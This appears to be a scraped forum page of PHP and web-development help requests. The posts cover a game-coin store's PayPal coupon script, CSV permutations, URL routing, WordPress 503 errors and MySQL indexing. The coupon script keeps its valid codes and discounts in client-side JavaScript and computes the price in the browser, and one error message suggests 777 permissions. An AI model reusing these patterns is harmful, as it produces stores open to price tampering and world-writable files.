statuses[Math.floor(Math.random() * statuses.length)]; var m = document.getElementById("msg"); while(m.firstChild) m.removeChild(m.firstChild); m.appendChild(document.createTextNode(status)); }, 1500); </script> <p style="text-align: center;"><button onClick="document.body.style.cssText+=';background-image: url(<?php echo $selectedBg; ?>);-webkit-background-size: cover;-moz-background-size: cover;-o-background-size: cover;background-size: cover;background-repeat: no-repeat;';" style="background-color: transparent; color: blue"><b>Refresh</b></button> <br> <br> <a href="https://qoinpro.com/dcb61daf63a384ae722e719514fdd156" style="font-size: x-large;">click for a great bitcoin tap.</a> </body> </html> index.php
  20. so I have a custom store built off of PHP, JS and CSS and it sells virtual coins for a game and the coins are sent automatically by the script however I want to start offering discounts to customers via discounts codes and I currently came across this script that I have put together: Javascript <!-- var discnt = 0; // no default percent discount var coupons = new Array ( // place to put coupon codes "MavrkHD", "TheFUTBucks", "TOTW", "Mega", "LL" ); var coupdc = new Array ( // place to put discounts for coupon vals "10", "15", "7", "10", "20" ); var coupval = "(blanket)"; // what user entered as coupon code function ChkCoup () { // check user coupon entry var i; discnt = 0; // assume the worst for (i=0; i<coupons.length; i++) { if (coupval == coupons[i]) { discnt = coupdc[i]; // remember the discount amt alert ("This is a valid promo code! \n\n" + discnt + "%" + " discount now in effect."); return; } } alert ("'" + coupval + "' is not a valid promo code!"); } function Sterling (val) { // force to valid dollar amount var str,pos,rnd=0; if (val < .995) rnd = 1; // for old Netscape browsers str = escape (val*1.0 + 0.005001 + rnd); // float, round, escape pos = str.indexOf ("."); if (pos > 0) str = str.substring (rnd, pos + 3); return str; } function ReadForm (obj1) { // apply the discount var amt,des; amt = obj1.amount.value*1.0; // base amount des = obj1.basedes.value; // base description if (discnt > 0) { // only if discount is active amt = Sterling (amt - (amt * discnt/100.0)); des = des + " - " + discnt + "% off - COUP = " + coupval; } obj1.baseamt.value = Sterling (amt); obj1.item_name.value = des; } //--> </script> PayPal Form Details <form action="https://www.paypal.com/cgi-bin/webscr" method="post" onsubmit="this.target = 'paypal'; return ReadForm (this);"> <input type="hidden" name="cmd" value="_xclick" /> <input type="hidden" name="add" value="1" /> <input type="hidden" name="business" value="<?=$functions->getPayPal();?>" /> <input type="hidden" name="item_name" value="Online Coin Currency" /> <input type="hidden" name="amount" id="amount" value="0.00" /> <input type="hidden" name="currency_code" value="GBP" /> <input type="hidden" name="baseamt" id="amount" value="0.00" /> <input type="hidden" name="basedes" value="Online Coin Currency (FUT)" /> <input type="hidden" name="custom" id="custom" value=""> <input type="hidden" name="return" value="RETURN LINK HERE";?> <input type="hidden" name="notify_url" value="<?=HOST.'files/payments/paypal.php';?>"> <input type="hidden" name="cancel_return" value="<?=HOST.'cancelled';?>"> Enter Coupon code <input type = "text" size = "10" name = "coupcode"; /> <input type="button" value="Apply code" onclick="coupval =this.form.coupcode.value; ChkCoup();" /><br/><br/> <input type="image" id="xx" src="https://www.paypalobjects.com/WEBSCR-640-20110306-1/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" onclick="CalculateOrder(this.form)" alt="PayPal - The safer, easier way to pay online!"> <img alt="" border="0" src="https://www.paypalobjects.com/WEBSCR-640-20110306-1/en_US/i/scr/pixel.gif" width="1" height="1"> </form> So, it all works like sending information to PayPal I have one issue about PayPal displaying the calculated prices. For example: if I take out the id of amount and baseamt and just leave value and put a value of 12.99 and then go on my store and go through the process of buying the virtual coins and then get to the discount code area and proceed to paypal I will get a discount price to pay at paypal but when I use the id="amount" which is a variable for depending on how many coins the customer to buy it'll send that price to paypal, it doesn't discount the price and I have been trying endlessly to fix this! help? Thanks.
  21. Hello, I have a issue to extract csv data with different permutation. Below are the conditions: TO extract csv file,1 row as one sentence To extract csv file data as one row data which has four coulmns combination as one sentence. To extract csv file data as first row column combining with 2nd column of 2nd row(Permutation). eg: I have 4 row with 4 coulmns. After csv data extraction, each row should should form a sentence by combining its 4 column fields. But may be with different permution each rows first coulmn should combine with rest of the 3 rows 2nd columns. A B C D E F G H I J K L So the result should be as: AFCD, AJCD, ABCD and son on. Extracting csv data code is ready all I want to add permutation condition. Any help is appreciated.
  22. Hi all, I am going through a very critical situation where I cannot find bright ideas to work upon. 1. I have an google spread sheet which contains few rows and columns. 2. I want to combine the row together including its column value.(1 row with four columns which results to a single sentence) 3. Simultaneously each row should form a single sentence from the google spread sheet. My spread sheet path: https://docs.google.com/spreadsheets/d/1Z7_oRxlTIiKIND89sAXHbyTsz1mrTMNwejqkfk8y5P0/edit#gid=0 I dont know how to strt of with this and which function, code to prefer ? Any kind of help is appreaciated.
  23. Hi. I'll like to ask few questions about PHP, as I think they are related to it. I've came across some webpages, what I've spotted is that a webpage displays content but each "page" has different argument and there is no filename. For example: "http://www.website.com/?home" is home-like webpage, by changing "/?home" to "/?anotherpage" land me on some other webpage on their website and so on. My question is how is it done? Is it done from PHP? Another question I wanted to ask is.. I went on InvisionPower.Board forum (such as this PHP Freaks ). How to force "folders" to be displayed as "files"? For example: "http://forums.phpfreaks.com/topic/217301-php-freaks-on-facebook/" which links to a thread. Thanks in advance
  24. my site regularly encounter errors, and I'm not sure what's going on, because I did not edit anything " " Service Unavailable The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later. Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request. " I use webhosting for 2 sites, wordpress, Folder tree as follows : home/mysite.com , home/mysite.com/mysite2/ , and I use 2 different domain for 2 sites. when buying a new server and upload the data, I have changed their position, and the error occurred on. I have contacted the host team, and was told, there are problems with PHP. Addition, I use a genesis, and the Prose child theme, and custom code in wp-admin error : " The /wp-content/uploads/prose/ folder does not exist or is not writeable. Please create it or change file permissions to 777." Warning: file_get_contents(/home/content/73/10682773/html/wp-content/uploads/prose/custom.css): failed to open stream: No such file or directory in /home/quangkhanh/public_html/javdownload/wp-content/themes/prose/lib/admin/custom-code.php on line 168 Warning: file_get_contents(/home/content/73/10682773/html/wp-content/uploads/prose/custom.php): failed to open stream: No such file or directory in /home/quangkhanh/public_html/javdownload/wp-content/themes/prose/lib/admin/custom-code.php on line 182 Please help me!
  25. Hello everyone. I have a large table consisting of 135497 rows I have found that by indexing the table, it will take less time in quering the results. In some site it shows that Using "Explain" before the queries will show that how much rows it has to travel to get the desired results. SO I have doen and it shows like below... mysql> EXPLAIN select * FROM ip2country WHERE 3084727327 BETWEEN begin_long_ip AND end_long_ip; +----+-------------+------------+------+---------------------------------------------------------------------------------+------+---------+------+--------+-------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+------------+------+---------------------------------------------------------------------------------+------+---------+------+--------+-------------+ | 1 | SIMPLE | ip2country | ALL | ip_adress,begin_long_ip,end_long_ip,begin_long_ip_3,count_index,begin_long_ip_2 | NULL | NULL | NULL | 135497 | Using where | +----+-------------+------------+------+---------------------------------------------------------------------------------+------+---------+------+--------+-------------+ The above results shows 135497. means it has to travel all the rows to get the result. So i have done index on the column ("begin_long_ip and end_long_ip) mysql> CREATE INDEX count_index ON ip2country(begin_long_ip,end_long_ip); Query OK, 135497 rows affected, 1 warning (0.87 sec) Records: 135497 Duplicates: 0 Warnings: 1 But it still shows the same result. mysql> EXPLAIN select * FROM ip2country WHERE 3084727327 BETWEEN begin_long_ip AND end_long_ip; +----+-------------+------------+------+---------------------------------------------------------------------------------+------+---------+------+--------+-------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+------------+------+---------------------------------------------------------------------------------+------+---------+------+--------+-------------+ | 1 | SIMPLE | ip2country | ALL | ip_adress,begin_long_ip,end_long_ip,begin_long_ip_3,count_index,begin_long_ip_2 | NULL | NULL | NULL | 135497 | Using where | +----+-------------+------------+------+---------------------------------------------------------------------------------+------+---------+------+--------+-------------+ Ahy help will be greatly apprecaited...
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.